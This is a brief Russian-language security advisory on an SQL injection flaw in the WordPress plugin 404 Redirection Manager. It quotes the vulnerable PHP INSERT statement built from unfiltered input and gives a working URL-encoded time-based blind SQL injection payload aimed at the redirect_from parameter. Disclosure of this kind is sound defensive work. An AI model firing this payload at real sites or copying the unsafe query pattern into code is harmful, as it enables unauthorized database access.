В WordPress плагине 404 Redirection Manager была обнаружена уязвимость, обнаружена уязвимость, позволяющая атакующему произвести внедрение SQL-кода.

Плагин предназначен для автоматического перенаправления со страниц, содержащих 404 ошибку на любую другую страницу.

Уязвимая страница находится в custom/lib/cf.SR_redirect_manager.class.php в строке 356:

$sql = "insert into " . SR_database::WP_SEO_Redirection() . "(redirect_from,redirect_to,redirect_type,redirect_from_type,redirect_to_type,redirect_from_folder_settings,redirect_from_subfolders,redirect_to_folder_settings,cat,blog,grpID) values ('$post_before_permalink','$post_after_permalink','301','$redirect_from_type','$redirect_to_type','$redirect_from_folder_settings','$redirect_from_subfolders','$redirect_to_folder_settings','link','" . get_current_blog_id() . "','$grpID') "

Уязвимость возможна из-за недостаточной фильтрации входящих данных параметра redirect_from, в который злоумышленник может с помощью специально сформированного запроса выполнить произвольные команды в базе данных уязвимого приложения.

Пример эксплуатации уязвимости:

/path-to-wordpress/%27%29%20AND%20%28SELECT%20%2a%20FROM%20%28SELECT%28SLEEP%285-%28IF%28%27a%27%3D%27a%27%2C0%2C5%29%29%29%29%29FPYG%29%20AND%20%28%27SQL%27%3D%27SQL

Использование Web Application Firewall позволяет блокировать подобные атаки.